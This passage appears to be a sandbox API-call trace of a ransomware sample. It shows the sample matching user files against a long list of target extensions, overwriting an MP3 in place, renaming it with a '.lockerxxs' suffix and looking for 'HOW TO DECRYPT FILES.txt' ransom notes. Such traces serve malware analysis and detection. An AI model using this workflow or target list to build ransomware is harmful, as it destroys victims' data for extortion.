PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.asm") returned 0 [0090.670] lstrlenA (lpString="*.asm") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.pfx") returned 0 [0090.670] lstrlenA (lpString="*.pfx") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.pem") returned 0 [0090.670] lstrlenA (lpString="*.pem") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.p12") returned 0 [0090.670] lstrlenA (lpString="*.p12") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.gpg") returned 0 [0090.670] lstrlenA (lpString="*.gpg") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.vsd") returned 0 [0090.670] lstrlenA (lpString="*.vsd") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.odg") returned 0 [0090.670] lstrlenA (lpString="*.odg") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.raw") returned 0 [0090.670] lstrlenA (lpString="*.raw") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.nef") returned 0 [0090.670] lstrlenA (lpString="*.nef") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.svg") returned 0 [0090.670] lstrlenA (lpString="*.svg") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.psd") returned 0 [0090.670] lstrlenA (lpString="*.psd") returned 5 [0090.670] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.vmx") returned 0 [0090.670] lstrlenA (lpString="*.vmx") returned 5 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.vmdk") returned 0 [0090.671] lstrlenA (lpString="*.vmdk") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.vdi") returned 0 [0090.671] lstrlenA (lpString="*.vdi") returned 5 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.lay6") returned 0 [0090.671] lstrlenA (lpString="*.lay6") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mpeg") returned 0 [0090.671] lstrlenA (lpString="*.mpeg") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.djvu") returned 0 [0090.671] lstrlenA (lpString="*.djvu") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.tiff") returned 0 [0090.671] lstrlenA (lpString="*.tiff") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.backup") returned 0 [0090.671] lstrlenA (lpString="*.backup") returned 8 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.pdf") returned 0 [0090.671] lstrlenA (lpString="*.pdf") returned 5 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.cert") returned 0 [0090.671] lstrlenA (lpString="*.cert") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.docm") returned 0 [0090.671] lstrlenA (lpString="*.docm") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.xlsm") returned 0 [0090.671] lstrlenA (lpString="*.xlsm") returned 6 [0090.671] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.dwg") returned 0 [0090.671] lstrlenA (lpString="*.dwg") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.nd") returned 0 [0090.672] lstrlenA (lpString="*.nd") returned 4 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.tlg") returned 0 [0090.672] lstrlenA (lpString="*.tlg") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.lgb") returned 0 [0090.672] lstrlenA (lpString="*.lgb") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mov") returned 0 [0090.672] lstrlenA (lpString="*.mov") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.xdw") returned 0 [0090.672] lstrlenA (lpString="*.xdw") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.ods") returned 0 [0090.672] lstrlenA (lpString="*.ods") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.wav") returned 0 [0090.672] lstrlenA (lpString="*.wav") returned 5 [0090.672] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mp3") returned 1 [0090.672] lstrlenA (lpString="*.mp3") returned 5 [0090.672] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" [0090.672] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" [0090.672] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3." [0090.672] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3.lockerxxs" [0090.673] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\6cx35f-lr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.673] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12fe5 [0090.674] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9af2eb90, dwHighDateTime=0x1d5e732), lpLastAccessTime=0x407536*(dwLowDateTime=0xa7521290, dwHighDateTime=0x1d5e010), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa7521290, dwHighDateTime=0x1d5e010)) returned 1 [0090.674] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.674] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x12fbf, lpOverlapped=0x0) returned 1 [0090.676] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3") returned="6CX35f-LR.mp3" [0090.677] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.677] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x12fbf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x12fbf, lpOverlapped=0x0) returned 1 [0090.677] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.677] CloseHandle (hObject=0x90) returned 1 [0090.678] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\6cx35f-lr.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\6cx35f-lr.mp3.lockerxxs")) returned 1 [0090.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb816610, ftCreationTime.dwHighDateTime=0x1d5df61, ftLastAccessTime.dwLowDateTime=0x97c2ea10, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0x97c2ea10, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x169cc, dwReserved0=0x2a000329, dwReserved1=0x4e00c4, cFileName="7i-T VL1mC5aDU5SI.m4a", cAlternateFileName="7I-TVL~1.M4A")) returned 1 [0090.679] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7i-T VL1mC5aDU5SI.m4a") returned 1 [0090.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7i-T VL1mC5aDU5SI.m4a") returned 1 [0090.679] lstrcmpiA (lpString1="", lpString2="7i-T VL1mC5aDU5SI.m4a") returned -1 [0090.679] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3") returned="6CX35f-LR.mp3" [0090.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" [0090.679] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="" [0090.679] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" [0090.680] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\how to decrypt files.txt")) returned 0x20 [0090.680] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="7i-T VL1mC5aDU5SI.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" [0090.680] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.ems") returned 0 [0090.680] lstrlenA (lpString="*.ems") returned 5 [0090.680] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.db") returned 0 [0090.680] lstrlenA (lpString="*.db") returned 4 [0090.680] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.dbf") returned 0 [0090.680] lstrlenA (lpString="*.dbf") returned 5 [0090.680] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.myox") returned 0 [0090.680] lstrlenA (lpString="*.myox") returned 6 [0090.680] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.myo") returned 0 [0090.681] lstrlenA (lpString="*.myo") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbw") returned 0 [0090.681] lstrlenA (lpString="*.qbw") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbb") returned 0 [0090.681] lstrlenA (lpString="*.qbb") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbm") returned 0 [0090.681] lstrlenA (lpString="*.qbm") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbo") returned 0 [0090.681] lstrlenA (lpString="*.qbo") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbx") returned 0 [0090.681] lstrlenA (lpString="*.qbx") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qba") returned 0 [0090.681] lstrlenA (lpString="*.qba") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qby") returned 0 [0090.681] lstrlenA (lpString="*.qby") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qbj") returned 0 [0090.681] lstrlenA (lpString="*.qbj") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.ofx") returned 0 [0090.681] lstrlenA (lpString="*.ofx") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.qif") returned 0 [0090.681] lstrlenA (lpString="*.qif") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mye") returned 0 [0090.681] lstrlenA (lpString="*.mye") returned 5 [0090.681] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mbox") returned 0 [0090.682] lstrlenA (lpString="*.mbox") returned 6 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.eml") returned 0 [0090.682] lstrlenA (lpString="*.eml") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.pst") returned 0 [0090.682] lstrlenA (lpString="*.pst") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.ost") returned 0 [0090.682] lstrlenA (lpString="*.ost") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.idx") returned 0 [0090.682] lstrlenA (lpString="*.idx") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.dbx") returned 0 [0090.682] lstrlenA (lpString="*.dbx") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.sql") returned 0 [0090.682] lstrlenA (lpString="*.sql") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mdb") returned 0 [0090.682] lstrlenA (lpString="*.mdb") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.fdb") returned 0 [0090.682] lstrlenA (lpString="*.fdb") returned 5 [0090.682] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.wab") returned 0 [0090.682] lstrlenA (lpString="*.wab") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.dat") returned 0 [0090.683] lstrlenA (lpString="*.dat") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.txt") returned 0 [0090.683] lstrlenA (lpString="*.txt") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.jpeg") returned 0 [0090.683] lstrlenA (lpString="*.jpeg") returned 6 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.jpg") returned 0 [0090.683] lstrlenA (lpString="*.jpg") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.png") returned 0 [0090.683] lstrlenA (lpString="*.png") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.php") returned 0 [0090.683] lstrlenA (lpString="*.php") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.cs") returned 0 [0090.683] lstrlenA (lpString="*.cs") returned 4 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.cpp") returned 0 [0090.683] lstrlenA (lpString="*.cpp") returned 5 [0090.683] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.rar") returned 0 [0090.683] lstrlenA (lpString="*.rar") returned 5 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.zip") returned 0 [0090.684] lstrlenA (lpString="*.zip") returned 5 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.html") returned 0 [0090.684] lstrlenA (lpString="*.html") returned 6 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.htm") returned 0 [0090.684] lstrlenA (lpString="*.htm") returned 5 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.xlsx") returned 0 [0090.684] lstrlenA (lpString="*.xlsx") returned 6 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.xls") returned 0 [0090.684] lstrlenA (lpString="*.xls") returned 5 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mp4") returned 0 [0090.684] lstrlenA (lpString="*.mp4") returned 5 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.ppt") returned 0 [0090.684] lstrlenA (lpString="*.ppt") returned 5 [0090.684] PathMatchSpecA 